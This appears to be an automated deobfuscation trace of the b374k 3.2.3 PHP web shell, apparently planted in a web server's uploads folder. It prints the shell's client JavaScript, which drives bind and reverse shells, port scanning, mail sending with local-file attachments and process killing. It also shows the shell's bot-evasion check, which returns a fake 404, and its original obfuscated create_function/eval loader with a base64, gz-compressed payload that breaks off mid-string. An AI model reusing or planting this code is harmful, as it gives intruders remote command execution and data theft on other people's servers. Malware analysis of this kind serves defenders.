if(type==\'prev\'){start=start-limit;if(start<0)start=0}db_query_tbl(dbType,db,table,start,limit)}Zepto(function($){info_init()});function info_init(){if((infoResult=localStorage.getItem(\'infoResult\'))){$(\'.infoResult\').html(infoResult)}else{info_refresh()}}function info_toggle(id){$(\'#\'+id).toggle()}function info_refresh(){send_post({infoRefresh:\'infoRefresh\'},function(res){$(\'.infoResult\').html(res);localStorage.setItem(\'infoResult\',res)})}Zepto(function($){});function mail_send(){mailFrom=$.trim($(\'#mailFrom\').val());mailTo=$.trim($(\'#mailTo\').val());mailSubject=$.trim($(\'#mailSubject\').val());mailContent=$(\'#mailContent\').val();mailAttachment=\'\';if($(\'.mailAttachment\')){mailAttachment=$(\'.mailAttachment\').map(function(){return this.value}).get().join(\'{[|b374k|]}\')}send_post({mailFrom:mailFrom,mailTo:mailTo,mailSubject:mailSubject,mailContent:mailContent,mailAttachment:mailAttachment},function(res){$(\'#mailResult\').html(res)})}function mail_attach(){content="<tr><td>Local file <a onclick=\\"$(this).parent().parent().remove();\\">(-)</a></td><td colspan=\'2\'><input type=\'text\' class=\'mailAttachment\' value=\'\'></td></tr>";$(\'#mailTBody\').append(content)}Zepto(function($){rs_init()});function rs_init(){if(evalReady&&(evalSupported!=null)&&(evalSupported!=\'\')){splits=evalSupported.split(",");$.each(splits,function(i,k){$(\'.rsType\').append("<option>"+k+"</option>")})}else setTimeout(\'rs_init()\',1000);$(\'#packetContent\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){packet_go()}fix_tabchar(this,e)})}function rs_go_bind(){rs_go(\'bind\')}function rs_go_back(){rs_go(\'back\')}function rs_go(rsType){rsArgs="";if(rsType==\'bind\'){rsPort=parseInt($(\'#bindPort\').val());rsLang=$(\'#bindLang\').val();rsArgs=rsPort;rsResult=$(\'#bindResult\')}else if(rsType==\'back\'){rsAddr=$(\'#backAddr\').val();rsPort=parseInt($(\'#backPort\').val());rsLang=$(\'#backLang\').val();rsArgs=rsPort+\' \'+rsAddr;rsResult=$(\'#backResult\')}if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){rsResult.html(\'Invalid port\');return}if(rsArgs!=\'\'){send_post({rsLang:rsLang,rsArgs:rsArgs},function(res){if(res!=\'error\'){splits=res.split(\'{[|b374k|]}\');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];rsResult.html(output)}else{rsResult.html(res)}}})}}function packet_go(){packetHost=$(\'#packetHost\').val();packetStartPort=parseInt($(\'#packetStartPort\').val());packetEndPort=parseInt($(\'#packetEndPort\').val());packetTimeout=parseInt($(\'#packetTimeout\').val());packetSTimeout=parseInt($(\'#packetSTimeout\').val());packetContent=$(\'#packetContent\').val();packetResult=$(\'#packetResult\');packetStatus=$(\'#packetStatus\');if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){packetResult.html(\'Invalid start port\');return}if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){packetResult.html(\'Invalid end port\');return}if((isNaN(packetTimeout))||(packetTimeout<=0)){packetResult.html(\'Invalid connection timeout\');return}if((isNaN(packetSTimeout))||(packetSTimeout<=0)){packetResult.html(\'Invalid stream timeout\');return}if(packetStartPort>packetEndPort){start=packetEndPort;end=packetStartPort}else{start=packetStartPort;end=packetEndPort}packetResult.html(\'\');while(start<=end){packetPort=start++;packetResult.append("<hr><div><p class=\'boxtitle\'>Host : "+html_safe(packetHost)+":"+packetPort+"</p><br><div id=\'packet"+packetPort+"\' style=\'padding:2px 4px;\'>Working... please wait...</div></div>");packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent)}}function packet_send(packetHost,packetPort,packetEndPort,packetTimeout,packetSTimeout,packetContent){send_post({packetHost:packetHost,packetPort:packetPort,packetEndPort:packetEndPort,packetTimeout:packetTimeout,packetSTimeout:packetSTimeout,packetContent:packetContent},function(res){$(\'#packet\'+packetPort).html(res)},false)}Zepto(function($){show_processes()});function show_processes(){send_post({showProcesses:\'\'},function(res){if(res!=\'error\'){$(\'#processes\').html(res);sorttable.k($(\'#psTable\').get(0));ps_bind()}})}function ps_bind(){$(\'.kill\').off(\'click\');$(\'.kill\').on(\'click\',function(e){kill_pid(ps_get_pid($(this)))});cbox_bind(\'psTable\',\'ps_update_status\')}function ps_get_pid(el){return el.parent().parent().attr(\'data-pid\')}function ps_update_status(){totalSelected=$(\'#psTable\').find(\'.cBoxSelected\').not(\'.cBoxAll\').length;if(totalSelected==0)$(\'.psSelected\').html(\'\');else $(\'.psSelected\').html(\' ( \'+totalSelected+\' item(s) selected )\')}function kill_selected(){buffer=get_all_cbox_selected(\'psTable\',\'ps_get_pid\');allPid=\'\';$.each(buffer,function(i,v){allPid+=v+\' \'});allPid=$.trim(allPid);kill_pid(allPid)}function kill_pid(allPid){title=\'Kill\';content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'allPid\' style=\'height:120px;min-height:120px;\' disabled>"+allPid+"</textarea></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"kill_pid_go();\\">kill</span></td></tr></table>";show_box(title,content)}function kill_pid_go(){allPid=$(\'.allPid\').val();if($.trim(allPid)!=\'\'){send_post({allPid:allPid},function(res){if(res!=\'error\'){$(\'.boxresult\').html(res+\' process(es) killed\')}else $(\'.boxresult\').html(\'Unable to kill process(es)\');show_processes()})}}<?php\nforeach($GLOBALS[\'module_to_load\'] as $k){\necho "function ".$GLOBALS[\'module\'][$k][\'id\']."(){ ".$GLOBALS[\'module\'][$k][\'js_ontabselected\']." }\\n";}?>\n</script>\n<!--script end-->\n</body>\n</html><?php die();?>'	/var/www/html/uploads/b374k.min.php(10) : runtime-created function	1	0
3		A						/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	GLOBALS['module_to_load'] = [0 => 'explorer', 1 => 'terminal', 2 => 'eval', 3 => 'convert', 4 => 'database', 5 => 'info', 6 => 'mail', 7 => 'network', 8 => 'processes']
3		A						/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	GLOBALS['resources']['b374k'] = 'hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojl'
3		A						/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	GLOBALS['resources']['mime'] = 'dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aF'
3		A						/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	GLOBALS['resources']['arrow'] = 'FZXHDqtYDIYfKCPRS2Z0F4cSem+BHfVQA6HD00+uF/Zny2XzSy7SNf23GVJYItMH/pelS0mT/zQhZ7kHqklwBD8zvaAWA/gj/m8KIA/iX+Du8jOjfwv8m1Oit/Gjxfs5XYSyR7wZ9sdiLPaiE7rxwYZvDz3z0G0fN9Pt1PqiDLuyRgzA7sVpo2NvL3Cdy6p1eSS3Um21eZqfW2uc6Xc9STYjG0E8zybZ3lxYrGLgmij6FTgD+oE1fHzRyB9IXpIFlT+6J8XARNRivqAELyNW694fBYKgdQ54i2RquOgoIwOqEpRK6G66qk4HjFCAWX9NRp5cU6hMsdvSQhiGCXr7Hmfyl/TaR9KwjDxldWNp9wx7zux2sY0uWUABDxUQWhoG2Dt8WlOYIuH8fjpej0l0Ag3k01AHYyLNNo7exzAS7jczTk5oogzNlETVL5g2TcLYQI7n5y+9dRXzgN4z19fKr4mPCsLm+Z4fhc9nFab7ORjMJSOarH0XxJM8bMHBKhEN'
3		A						/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	GLOBALS['ver'] = '3.2.3'
3		A						/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	GLOBALS['title'] = 'b374k'
4	10	0	0.015325	1472912	ob_start	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	0
4	10	1	0.015345	1489424
4	10	R			TRUE
4	11	0	0.015360	1489424	error_reporting	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	15
4	11	1	0.015376	1489496
4	11	R			22527
4	12	0	0.015390	1489456	ini_set	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	2	'html_errors'	'0'
4	12	1	0.015408	1489528
4	12	R			'1'
4	13	0	0.015421	1489456	ini_set	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	2	'display_errors'	'1'
4	13	1	0.015437	1489528
4	13	R			''
4	14	0	0.015450	1489456	ini_set	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	2	'display_startup_errors'	'1'
4	14	1	0.015465	1489528
4	14	R			''
4	15	0	0.015478	1489456	ini_set	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	2	'log_errors'	'0'
4	15	1	0.015494	1489528
4	15	R			'1'
4	16	0	0.015507	1489456	set_time_limit	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	0
4	16	1	0.015526	1489520
4	16	R			FALSE
4	17	0	0.015539	1489488	clearstatcache	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	0
4	17	1	0.015553	1489488
4	17	R			NULL
4	18	0	0.015566	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'auth'
4	18	1	0.015581	1489528
4	18	R			FALSE
4	19	0	0.015595	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_server_info'
4	19	1	0.015610	1489528
4	19	R			FALSE
4	20	0	0.015628	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_self'
4	20	1	0.015644	1489528
4	20	R			FALSE
4	21	0	0.015657	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_post'
4	21	1	0.015671	1489528
4	21	R			FALSE
4	22	0	0.015684	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_nav'
4	22	1	0.015699	1489528
4	22	R			FALSE
4	23	0	0.015711	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_cwd'
4	23	1	0.015726	1489528
4	23	R			FALSE
4	24	0	0.015739	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'wrap_with_quotes'
4	24	1	0.015753	1489528
4	24	R			FALSE
4	25	0	0.015766	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_resource'
4	25	1	0.015780	1489528
4	25	R			FALSE
4	26	0	0.015793	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'block_bot'
4	26	1	0.015807	1489528
4	26	R			FALSE
4	27	0	0.015820	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'is_win'
4	27	1	0.015834	1489528
4	27	R			FALSE
4	28	0	0.015846	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'fix_magic_quote'
4	28	1	0.015861	1489528
4	28	R			FALSE
4	29	0	0.015873	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'execute'
4	29	1	0.015887	1489528
4	29	R			FALSE
4	30	0	0.015899	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'html_safe'
4	30	1	0.015913	1489528
4	30	R			FALSE
4	31	0	0.015926	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'parse_dir'
4	31	1	0.015940	1489528
4	31	R			FALSE
4	32	0	0.015952	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'zip'
4	32	1	0.015966	1489528
4	32	R			FALSE
4	33	0	0.015979	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'compress'
4	33	1	0.015993	1489528
4	33	R			FALSE
4	34	0	0.016006	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'decompress'
4	34	1	0.016027	1489528
4	34	R			FALSE
4	35	0	0.016040	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'download'
4	35	1	0.016055	1489528
4	35	R			FALSE
4	36	0	0.016067	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_fileperms'
4	36	1	0.016082	1489528
4	36	R			FALSE
4	37	0	0.016094	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'format_bit'
4	37	1	0.016108	1489528
4	37	R			FALSE
4	38	0	0.016121	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_filesize'
4	38	1	0.016136	1489528
4	38	R			FALSE
4	39	0	0.016148	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_filemtime'
4	39	1	0.016163	1489528
4	39	R			FALSE
4	40	0	0.016175	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_fileowner'
4	40	1	0.016190	1489528
4	40	R			FALSE
4	41	0	0.016203	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'rmdirs'
4	41	1	0.016217	1489528
4	41	R			FALSE
4	42	0	0.016230	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'copys'
4	42	1	0.016247	1489528
4	42	R			FALSE
4	43	0	0.016260	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_all_files'
4	43	1	0.016274	1489528
4	43	R			FALSE
4	44	0	0.016287	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'read_file'
4	44	1	0.016301	1489528
4	44	R			FALSE
4	45	0	0.016314	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'write_file'
4	45	1	0.016328	1489528
4	45	R			FALSE
4	46	0	0.016340	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'view_file'
4	46	1	0.016354	1489528
4	46	R			FALSE
4	47	0	0.016366	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_writabledir'
4	47	1	0.016380	1489528
4	47	R			FALSE
4	48	0	0.016434	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'get_drives'
4	48	1	0.016449	1489528
4	48	R			FALSE
4	49	0	0.016462	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'show_all_files'
4	49	1	0.016476	1489528
4	49	R			FALSE
4	50	0	0.016489	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'eval_get_supported'
4	50	1	0.016504	1489528
4	50	R			FALSE
4	51	0	0.016517	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'eval_go'
4	51	1	0.016531	1489528
4	51	R			FALSE
4	52	0	0.016545	1489488	function_exists	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'output'
4	52	1	0.016559	1489528
4	52	R			FALSE
4	53	0	0.016572	1489488	block_bot	1		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	0
5	54	0	0.016588	1489488	preg_match	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	2	'/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i'	'python-requests/2.25.1'
5	54	1	0.016666	1489552
5	54	R			1
5	55	0	0.016682	1489488	header	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'HTTP/1.0 404 Not Found'
5	55	1	0.016699	1489544
5	55	R			NULL
5	56	0	0.016712	1489512	header	0		/var/www/html/uploads/b374k.min.php(10) : runtime-created function(1) : eval()'d code	1	1	'Status: 404 Not Found'
5	56	1	0.016731	1489608
5	56	R			NULL
			0.016778	1393824
TRACE END   [2023-02-12 21:25:19.581319]


Generated HTML code

<html><head> <meta charset="utf-8"> <meta name="robots" content="noindex, nofollow, noarchive"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0"> </head> <body style="background:#f8f8f8;color:#000000;padding:0;margin:0;"><br><p></p><center><noscript>You need to enable javascript</noscript></center><p></p> <script type="text/javascript"> var d = document; d.write("<br><br><form method='post'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>"); d.getElementById('pass').focus(); d.getElementById('pass').setAttribute('autocomplete', 'off'); </script><br><br><form method="post"><center><input type="password" id="pass" name="pass" style="font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;" autocomplete="off"></center></form>  </body></html>

Original PHP code

<?php
/*
	b374k shell 3.2.3
	Jayalah Indonesiaku
	(c)2014
	https://github.com/b374k/b374k

*/
$GLOBALS['pass'] = "fb621f5060b9f65acf8eb4232e3024140dea2b34"; // sha1(md5(pass))
$func="cr"."eat"."e_fun"."cti"."on";$b374k=$func('$x','ev'.'al'.'("?>".gz'.'un'.'com'.'pre'.'ss(ba'.'se'.'64'.'_de'.'co'.'de($x)));');$b374k("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